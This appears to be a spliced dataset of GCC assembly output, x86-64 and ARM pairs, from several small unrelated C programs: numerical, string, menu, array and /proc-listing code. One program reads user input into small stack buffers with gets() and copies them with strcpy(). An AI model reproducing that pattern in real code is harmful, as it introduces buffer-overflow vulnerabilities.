str r3, [fp, #-72]
ldr r3, [fp, #-84]
add r3, r3, #1
str r3, [fp, #-84]
.L9:
ldr r2, [fp, #-84]
ldr r3, [fp, #-104]
cmp r2, r3
ble .L10
ldr r0, [fp, #-104]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl sqrt
mov r2, r0
mov r3, r1
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-60]
str r3, [fp, #-56]
sub r3, fp, #52
ldmia r3, {r2-r3}
str r2, [fp, #-44]
str r3, [fp, #-40]
sub r3, fp, #60
ldmia r3, {r2-r3}
sub r1, fp, #76
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
sub r3, fp, #44
ldmia r3, {r2-r3}
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r6, r2
bic r7, r3, #-2147483648
ldr r2, .L18+72
ldr r3, .L18+76
mov r0, r6
mov r1, r7
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L17
ldr r3, [fp, #-88]
add r3, r3, #1
str r3, [fp, #-88]
.L8:
ldr r3, [fp, #-88]
cmp r3, #10
ble .L14
b .L13
.L17:
nop
.L13:
ldr r3, [fp, #-88]
cmp r3, #10
ble .L15
ldr r0, .L18+80
bl nrerror
.L15:
ldr r3, [fp, #-92]
lsl r3, r3, #3
ldr r2, [fp, #-96]
add r1, r2, r3
sub r3, fp, #52
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #-104]
add r2, r3, #1
ldr r3, [fp, #-92]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-96]
add r3, r2, r3
ldr r4, [fp, #-52]
ldr r2, [fp, #-48]
eor r5, r2, #-2147483648
stm r3, {r4-r5}
sub r3, fp, #60
ldmia r3, {r2-r3}
sub r1, fp, #60
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, [fp, #-92]
lsl r3, r3, #3
ldr r2, [fp, #-100]
add r8, r2, r3
mov r2, r0
mov r3, r1
mov r0, #0
mov r1, #1073741824
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
stm r8, {r2-r3}
ldr r3, [fp, #-92]
lsl r3, r3, #3
ldr r2, [fp, #-100]
add r3, r2, r3
ldr r2, [fp, #-104]
add r1, r2, #1
ldr r2, [fp, #-92]
sub r2, r1, r2
lsl r2, r2, #3
ldr r1, [fp, #-100]
add r1, r1, r2
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #-92]
add r3, r3, #1
str r3, [fp, #-92]
.L2:
ldr r2, [fp, #-92]
ldr r3, [fp, #-80]
cmp r2, r3
ble .L16
nop
nop
sub sp, fp, #28
@ sp needed
pop {r4, r5, r6, r7, r8, r9, fp, pc}
.L19:
.align 2
.L18:
.word 1268561541
.word -1077586575
.word -377957122
.word 1073590566
.word -2130303779
.word 1071334293
.word -1546188227
.word 1072840048
.word 1546188227
.word 1073595023
.word -1202590843
.word 1072399646
.word 687194767
.word 1073647452
.word 1374389535
.word 1072504504
.word 1880447248
.word 1072171320
.word -1527193420
.word 1025565556
.word .LC0
.size gauher, .-gauher
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "110323.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "\n enter the 1st string"
.LC1:
.string "\n enter the second string"
.LC2:
.string "\n string length =%d"
.LC3:
.string "\n after comparing =%d"
.LC4:
.string "\n string rev =%s"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rax, -28[rbp]
mov rdi, rax
mov eax, 0
call gets@PLT
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
lea rax, -18[rbp]
mov rdi, rax
mov eax, 0
call gets@PLT
lea rax, -28[rbp]
mov rdi, rax
call strlen@PLT
mov DWORD PTR -40[rbp], eax
lea rax, -18[rbp]
mov rdi, rax
call strlen@PLT
mov DWORD PTR -36[rbp], eax
lea rdx, -18[rbp]
lea rax, -28[rbp]
mov rsi, rdx
mov rdi, rax
call strcmp@PLT
mov DWORD PTR -32[rbp], eax
lea rdx, -18[rbp]
lea rax, -28[rbp]
mov rsi, rdx
mov rdi, rax
call strcpy@PLT
lea rax, -18[rbp]
mov rdi, rax
mov eax, 0
call strrev@PLT
mov eax, DWORD PTR -40[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -36[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -32[rbp]
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
lea rax, -28[rbp]
mov rsi, rax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "110323.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "\012 enter the 1st string\000"
.align 2
.LC1:
.ascii "\012 enter the second string\000"
.align 2
.LC2:
.ascii "\012 string length =%d\000"
.align 2
.LC3:
.ascii "\012 after comparing =%d\000"
.align 2
.LC4:
.ascii "\012 string rev =%s\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L4+4
bl printf
sub r3, fp, #32
mov r0, r3
bl gets
ldr r0, .L4+8
bl printf
sub r3, fp, #20
mov r0, r3
bl gets
sub r3, fp, #32
mov r0, r3
bl strlen
mov r3, r0
str r3, [fp, #-44]
sub r3, fp, #20
mov r0, r3
bl strlen
mov r3, r0
str r3, [fp, #-40]
sub r2, fp, #20
sub r3, fp, #32
mov r1, r2
mov r0, r3
bl strcmp
str r0, [fp, #-36]
sub r2, fp, #20
sub r3, fp, #32
mov r1, r2
mov r0, r3
bl strcpy
sub r3, fp, #20
mov r0, r3
bl strrev
ldr r1, [fp, #-44]
ldr r0, .L4+12
bl printf
ldr r1, [fp, #-40]
ldr r0, .L4+12
bl printf
ldr r1, [fp, #-36]
ldr r0, .L4+16
bl printf
sub r3, fp, #32
mov r1, r3
ldr r0, .L4+20
bl printf
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC5
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "260486.c"
.intel_syntax noprefix
.text
.globl bug20150126
.type bug20150126, @function
bug20150126:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 752
mov DWORD PTR -740[rbp], edi
mov QWORD PTR -752[rbp], rsi
mov QWORD PTR -160[rbp], rdx
mov QWORD PTR -152[rbp], rcx
mov QWORD PTR -144[rbp], r8
mov QWORD PTR -136[rbp], r9
test al, al
je .L2
movaps XMMWORD PTR -128[rbp], xmm0
movaps XMMWORD PTR -112[rbp], xmm1
movaps XMMWORD PTR -96[rbp], xmm2
movaps XMMWORD PTR -80[rbp], xmm3
movaps XMMWORD PTR -64[rbp], xmm4
movaps XMMWORD PTR -48[rbp], xmm5
movaps XMMWORD PTR -32[rbp], xmm6
movaps XMMWORD PTR -16[rbp], xmm7
.L2:
mov rax, QWORD PTR fs:40
mov QWORD PTR -184[rbp], rax
xor eax, eax
mov DWORD PTR -728[rbp], 16
mov DWORD PTR -724[rbp], 48
lea rax, 16[rbp]
mov QWORD PTR -720[rbp], rax
lea rax, -176[rbp]
mov QWORD PTR -712[rbp], rax
lea rcx, -728[rbp]
mov rdx, QWORD PTR -752[rbp]
lea rax, -704[rbp]
mov esi, 512
mov rdi, rax
call vsnprintf@PLT
nop
mov rax, QWORD PTR -184[rbp]
sub rax, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size bug20150126, .-bug20150126
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "260486.c"
.text
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global bug20150126
.syntax unified
.arm
.fpu softvfp
.type bug20150126, %function
bug20150126:
@ args = 4, pretend = 12, frame = 528
@ frame_needed = 1, uses_anonymous_args = 1
push {r1, r2, r3}
push {fp, lr}
add fp, sp, #4
sub sp, sp, #532
str r0, [fp, #-532]
ldr r3, [fp, #4]
str r3, [fp, #-536]
ldr r3, .L3
ldr r3, [r3]
str r3, [fp, #-12]
mov r3,#0
add r3, fp, #8
str r3, [fp, #-528]
sub r0, fp, #524
ldr r3, [fp, #-528]
ldr r2, [fp, #-536]
mov r1, #512
bl vsnprintf
nop
ldr r3, .L3
ldr r2, [r3]
ldr r3, [fp, #-12]
eors r2, r3, r2
mov r3, #0
beq .L2
bl __stack_chk_fail
.L2:
sub sp, fp, #4
@ sp needed
pop {fp, lr}
add sp, sp, #12
bx lr
.L4:
.align 2
.L3:
.word .LC0
.size bug20150126, .-bug20150126
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "549743.c"
.intel_syntax noprefix
.text
.globl Menu
.type Menu, @function
Menu:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov eax, 0
call ImprimirMenu
mov eax, 0
call LeerOpcion@PLT
mov DWORD PTR -4[rbp], eax
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size Menu, .-Menu
.section .rodata
.LC0:
.string "MEN\303\232 DEL JUEGO:"
.LC1:
.string "1. Juego de dos jugadores"
.LC2:
.string "2. Juego contra computadora"
.LC3:
.string "3. Recuperar un juego grabado"
.LC4:
.string "4. Terminar"
.text
.globl ImprimirMenu
.type ImprimirMenu, @function
ImprimirMenu:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea rdi, .LC0[rip]
call puts@PLT
lea rdi, .LC1[rip]
call puts@PLT
lea rdi, .LC2[rip]
call puts@PLT
lea rdi, .LC3[rip]
call puts@PLT
lea rdi, .LC4[rip]
call puts@PLT
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size ImprimirMenu, .-ImprimirMenu
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "549743.c"
.text
.align 2
.global Menu
.syntax unified
.arm
.fpu softvfp
.type Menu, %function
Menu:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
bl ImprimirMenu
bl LeerOpcion
str r0, [fp, #-8]
nop
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size Menu, .-Menu
.section .rodata
.align 2
.LC0:
.ascii "MEN\303\232 DEL JUEGO:\000"
.align 2
.LC1:
.ascii "1. Juego de dos jugadores\000"
.align 2
.LC2:
.ascii "2. Juego contra computadora\000"
.align 2
.LC3:
.ascii "3. Recuperar un juego grabado\000"
.align 2
.LC4:
.ascii "4. Terminar\000"
.text
.align 2
.global ImprimirMenu
.syntax unified
.arm
.fpu softvfp
.type ImprimirMenu, %function
ImprimirMenu:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r0, .L3
bl puts
ldr r0, .L3+4
bl puts
ldr r0, .L3+8
bl puts
ldr r0, .L3+12
bl puts
ldr r0, .L3+16
bl puts
nop
pop {fp, pc}
.L4:
.align 2
.L3:
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.size ImprimirMenu, .-ImprimirMenu
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "142238.c"
.intel_syntax noprefix
.text
.globl mx
.bss
.align 4
.type mx, @object
.size mx, 4
mx:
.zero 4
.globl ln
.data
.align 4
.type ln, @object
.size ln, 4
ln:
.long 1
.globl max_index
.bss
.align 4
.type max_index, @object
.size max_index, 4
max_index:
.zero 4
.section .rodata
.LC0:
.string "%d "
.text
.globl solve
.type solve, @function
solve:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -8[rbp], 1
jmp .L2
.L6:
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -8[rbp]
cdqe
sal rax, 2
lea rcx, -4[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rcx
mov eax, DWORD PTR [rax]
cmp edx, eax
jle .L3
mov eax, DWORD PTR ln[rip]
add eax, 1
mov DWORD PTR ln[rip], eax
jmp .L4
.L3:
mov edx, DWORD PTR mx[rip]
mov eax, DWORD PTR ln[rip]
cmp edx, eax
jge .L5
mov eax, DWORD PTR ln[rip]
mov DWORD PTR mx[rip], eax
mov edx, DWORD PTR mx[rip]
mov eax, DWORD PTR -8[rbp]
sub eax, edx
mov DWORD PTR max_index[rip], eax
.L5:
mov DWORD PTR ln[rip], 1
.L4:
add DWORD PTR -8[rbp], 1
.L2:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -28[rbp]
jl .L6
mov edx, DWORD PTR mx[rip]
mov eax, DWORD PTR ln[rip]
cmp edx, eax
jge .L7
mov eax, DWORD PTR ln[rip]
mov DWORD PTR mx[rip], eax
mov edx, DWORD PTR mx[rip]
mov eax, DWORD PTR -28[rbp]
sub eax, edx
mov DWORD PTR max_index[rip], eax
.L7:
mov eax, DWORD PTR max_index[rip]
mov DWORD PTR -4[rbp], eax
jmp .L8
.L9:
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -4[rbp], 1
.L8:
mov edx, DWORD PTR mx[rip]
mov eax, DWORD PTR max_index[rip]
add eax, edx
cmp DWORD PTR -4[rbp], eax
jl .L9
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size solve, .-solve
.section .rodata
.LC1:
.string "%d"
.text
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 40
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
lea rax, -80[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -80[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov r14, rdx
mov r15d, 0
movsx rdx, eax
mov r12, rdx
mov r13d, 0
cdqe
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L11:
cmp rsp, rdx
je .L12
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L11
.L12:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L13
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L13:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -64[rbp], rax
mov DWORD PTR -76[rbp], 0
jmp .L14
.L15:
mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
add DWORD PTR -76[rbp], 1
.L14:
mov eax, DWORD PTR -80[rbp]
cmp DWORD PTR -76[rbp], eax
jl .L15
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -64[rbp]
mov esi, edx
mov rdi, rax
call solve
mov eax, 0
mov rsp, rbx
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L17
call __stack_chk_fail@PLT
.L17:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "142238.c"
.text
.global mx
.bss
.align 2
.type mx, %object
.size mx, 4
mx:
.space 4
.global ln
.data
.align 2
.type ln, %object
.size ln, 4
ln:
.word 1
.global max_index
.bss
.align 2
.type max_index, %object
.size max_index, 4
max_index:
.space 4
.section .rodata
.align 2
.LC0:
.ascii "%d \000"
.text
.align 2
.global solve
.syntax unified
.arm
.fpu softvfp
.type solve, %function
solve:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
mov r3, #1
str r3, [fp, #-12]
b .L2
.L6:
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r2, [fp, #-16]
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r1, [fp, #-16]
add r3, r1, r3
ldr r3, [r3]
cmp r2, r3
ble .L3
ldr r3, .L10
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L10
str r3, [r2]
b .L4
.L3:
ldr r3, .L10+4
ldr r2, [r3]
ldr r3, .L10
ldr r3, [r3]
cmp r2, r3
bge .L5
ldr r3, .L10
ldr r3, [r3]
ldr r2, .L10+4
str r3, [r2]
ldr r3, .L10+4
ldr r3, [r3]
ldr r2, [fp, #-12]
sub r3, r2, r3
ldr r2, .L10+8
str r3, [r2]
.L5:
ldr r3, .L10
mov r2, #1
str r2, [r3]
.L4:
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L2:
ldr r2, [fp, #-12]
ldr r3, [fp, #-20]
cmp r2, r3
blt .L6
ldr r3, .L10+4
ldr r2, [r3]
ldr r3, .L10
ldr r3, [r3]
cmp r2, r3
bge .L7
ldr r3, .L10
ldr r3, [r3]
ldr r2, .L10+4
str r3, [r2]
ldr r3, .L10+4
ldr r3, [r3]
ldr r2, [fp, #-20]
sub r3, r2, r3
ldr r2, .L10+8
str r3, [r2]
.L7:
ldr r3, .L10+8
ldr r3, [r3]
str r3, [fp, #-8]
b .L8
.L9:
ldr r3, [fp, #-8]
lsl r3, r3, #2
ldr r2, [fp, #-16]
add r3, r2, r3
ldr r3, [r3]
mov r1, r3
ldr r0, .L10+12
bl printf
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L8:
ldr r3, .L10+4
ldr r2, [r3]
ldr r3, .L10+8
ldr r3, [r3]
add r3, r2, r3
ldr r2, [fp, #-8]
cmp r2, r3
blt .L9
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L11:
.align 2
.L10:
.word ln
.word mx
.word max_index
.word .LC0
.size solve, .-solve
.section .rodata
.align 2
.LC1:
.ascii "%d\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
ldr r3, .L17
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
sub r3, fp, #32
mov r1, r3
ldr r0, .L17+4
bl __isoc99_scanf
ldr ip, [fp, #-32]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-28]
b .L13
.L14:
ldr r3, [fp, #-28]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
mov r1, r3
ldr r0, .L17+4
bl __isoc99_scanf
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L13:
ldr r3, [fp, #-32]
ldr r2, [fp, #-28]
cmp r2, r3
blt .L14
ldr r3, [fp, #-32]
mov r1, r3
ldr r0, [fp, #-20]
bl solve
mov r3, #0
mov sp, r4
ldr r2, .L17
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L16
bl __stack_chk_fail
.L16:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L18:
.align 2
.L17:
.word .LC2
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "987255.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov esi, 42
mov edi, 123
call rush@PLT
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "987255.c"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
mov r1, #42
mov r0, #123
bl rush
mov r3, #0
mov r0, r3
pop {fp, pc}
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "849020.c"
.intel_syntax noprefix
.text
.data
.align 16
.type s_proc, @object
.size s_proc, 17
s_proc:
.string "/proc/"
.zero 10
.section .data.rel.local,"aw"
.align 8
.type s_proc6, @object
.size s_proc6, 8
s_proc6:
.quad s_proc+6
.section .rodata
.LC0:
.string "%s -> %s\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 64
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, s_proc[rip]
call opendir@PLT
mov QWORD PTR -4136[rbp], rax
cmp QWORD PTR -4136[rbp], 0
jne .L4
mov eax, 1
jmp .L3
.L11:
mov QWORD PTR -4144[rbp], 0
jmp .L5
.L9:
cmp BYTE PTR -4145[rbp], 47
jle .L13
cmp BYTE PTR -4145[rbp], 57
jg .L13
mov rdx, QWORD PTR s_proc6[rip]
mov rax, QWORD PTR -4144[rbp]
add rdx, rax
movzx eax, BYTE PTR -4145[rbp]
mov BYTE PTR [rdx], al
add QWORD PTR -4144[rbp], 1
.L5:
mov rdx, QWORD PTR -4128[rbp]
mov rax, QWORD PTR -4144[rbp]
add rax, rdx
add rax, 19
movzx eax, BYTE PTR [rax]
mov BYTE PTR -4145[rbp], al
cmp BYTE PTR -4145[rbp], 0
jne .L9
mov rdx, QWORD PTR s_proc6[rip]
mov rax, QWORD PTR -4144[rbp]
add rax, rdx
mov BYTE PTR [rax], 47
mov rdx, QWORD PTR s_proc6[rip]
mov rax, QWORD PTR -4144[rbp]
add rax, 1
add rax, rdx
mov BYTE PTR [rax], 101
mov rdx, QWORD PTR s_proc6[rip]
mov rax, QWORD PTR -4144[rbp]
add rax, 2
add rax, rdx
mov BYTE PTR [rax], 120
mov rdx, QWORD PTR s_proc6[rip]
mov rax, QWORD PTR -4144[rbp]
add rax, 3
